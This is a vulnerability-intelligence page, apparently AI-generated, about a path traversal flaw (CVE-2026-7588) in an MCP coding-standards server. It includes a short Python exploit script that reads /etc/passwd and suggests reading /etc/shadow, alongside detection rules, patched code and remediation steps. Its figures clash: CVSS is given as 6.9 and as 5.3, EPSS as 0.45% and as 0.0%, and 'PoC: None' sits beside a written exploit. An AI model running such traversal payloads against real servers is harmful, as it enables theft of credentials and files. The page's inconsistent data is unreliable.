☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-7588

CVE-2026-7588 is a path traversal vulnerability in the `ggerve/coding-standards-mcp` project, specifically within the `server.
📅 PUBLISHED: 2026-05-01 17:45 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.45%
👁️
0.45% probability
11.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-7588 is a path traversal vulnerability in the ggerve/coding-standards-mcp project, specifically within the server.py file. The vulnerability affects the get_style_guide and get_best_practices functions, where the Language argument is not properly sanitized, allowing an attacker to read arbitrary files on the server. The exploit has been publicly disclosed, and the vendor has not responded to the issue report. The project uses a rolling release model, so no specific patched version is available. The CVSS score is 5.3 (Medium), with a low EPSS score of 0.0%, indicating a low probability of exploitation in the wild at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This project is a Python-based MCP (Model Context Protocol) server, likely distributed via PyPI or GitHub. The lack of a response from the vendor and the rolling release model pose a significant supply chain risk. Users should verify the integrity of any downloaded package and consider forking the repository to apply their own patches. The absence of a CVE-specific patch means that any downstream consumers of this package are vulnerable until the vendor addresses the issue.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) - No special conditions are required.
  • Privileges Required: None (PR:N) - No authentication is needed.
  • User Interaction: None (UI:N) - No user action is required.
  • Scope: Unchanged (S:U) - The vulnerability does not affect other components.
  • Confidentiality Impact: Low (C:L) - Limited file read access is possible.
  • Integrity Impact: None (I:N) - No file modification is possible.
  • Availability Impact: None (A:N) - No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the public availability of the exploit and the lack of a patch increase the risk for any organization using this software.

Deep Dive & Mechanics

The vulnerability resides in the server.py file of the coding-standards-mcp project. The get_style_guide and get_best_practices functions accept a Language argument from the user. This argument is used to construct a file path to retrieve the corresponding coding standards or best practices document. The code does not sanitize or validate the input, allowing an attacker to use path traversal sequences (e.g., ../) to escape the intended directory and read arbitrary files on the server.

The typical vulnerable code pattern is:

def get_style_guide(language):
    file_path = f"guides/{language}.md"
    with open(file_path, 'r') as f:
        return f.read()

An attacker can send a request with language=../../etc/passwd to read the /etc/passwd file. The exploit is trivial to execute and requires no authentication.

Vulnerable vs. Patched Code

Vulnerable Code (server.py):

def get_style_guide(language):
    file_path = f"guides/{language}.md"
    with open(file_path, 'r') as f:
        return f.read()

def get_best_practices(language):
    file_path = f"best_practices/{language}.md"
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (Hypothetical):

import os

def get_style_guide(language):
    # Sanitize the language input
    safe_language = os.path.basename(language)
    file_path = os.path.join("guides", f"{safe_language}.md")
    # Ensure the file is within the intended directory
    if not os.path.realpath(file_path).startswith(os.path.realpath("guides")):
        raise ValueError("Invalid language")
    with open(file_path, 'r') as f:
        return f.read()

def get_best_practices(language):
    safe_language = os.path.basename(language)
    file_path = os.path.join("best_practices", f"{safe_language}.md")
    if not os.path.realpath(file_path).startswith(os.path.realpath("best_practices")):
        raise ValueError("Invalid language")
    with open(file_path, 'r') as f:
        return f.read()

The patched code uses os.path.basename() to strip any directory components and os.path.realpath() to verify the final path is within the intended directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of coding-standards-mcp (e.g., on http://target:8080).
  • Python 3.x with requests library.

Exploit Script:

import requests

target = "http://target:8080"
# Path traversal to read /etc/passwd
payload = "../../../../etc/passwd"
url = f"{target}/get_style_guide?language={payload}"
response = requests.get(url)
print(response.text)

Usage:

  1. Run the script against the target server.
  2. The response will contain the contents of /etc/passwd if the server is vulnerable.
  3. Modify the payload to read other sensitive files (e.g., /etc/shadow, application config files).

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team

Detection:

  • Monitor web server logs for requests containing ../ or %2e%2e%2f in the language parameter.
  • Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting:

  • Search for any file read operations that deviate from the expected guides/ or best_practices/ directories.
  • Check for unusual file access patterns in the application logs.

Containment:

  • Immediately isolate the affected server.
  • Apply a WAF rule to block path traversal patterns in the language parameter.
  • If possible, temporarily disable the vulnerable endpoints until a patch is applied.

Indicators of Compromise (IOCs)

  • Network:

    • HTTP GET requests to /get_style_guide or /get_best_practices with language parameter containing ../ or URL-encoded variants.
    • Outbound connections from the server to unknown IPs (if the attacker exfiltrates data).
  • File System:

    • Unexpected file reads from outside the guides/ or best_practices/ directories.
    • Presence of files like /tmp/exploit_log or similar artifacts.
  • Logs:

    • Web server logs showing 200 responses to path traversal requests.
    • Application logs showing errors like FileNotFoundError for paths outside the expected scope.

Detection Engineering

YARA Rule

rule CVE_2026_7588_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2026-7588 in coding-standards-mcp"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-7588"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $param = "language="
    condition:
        any of ($traversal*) and $param
}

Sigma Rule

🔒 DETECTION RULE — API ACCESS REQUIRED

The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.

[ GET API ACCESS ] →

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-7588 Path Traversal in coding-standards-mcp"; flow:to_server,established; content:"/get_style_guide"; http_uri; content:"language="; http_uri; pcre:"/language=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Vulnerable Endpoints: If possible, temporarily disable the get_style_guide and get_best_practices endpoints.
  2. Apply WAF Rules: Use a Web Application Firewall to block requests containing path traversal patterns in the language parameter.
  3. Input Validation: Implement server-side input validation to reject any input containing ../ or similar sequences.

Long-Term Fix:

  1. Patch the Code: Apply the patched code shown in the "Vulnerable vs. Patched Code" section.
  2. Fork the Repository: Since the vendor is unresponsive, consider forking the repository and maintaining your own patched version.
  3. Monitor for Updates: Keep an eye on the official repository for any future patches.

Workarounds:

  • Use a reverse proxy to sanitize the language parameter before it reaches the application.
  • Restrict file system permissions so that the application can only read the necessary directories.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: F5902AFFCCBDE08EDB3C9CAE] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-7588/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.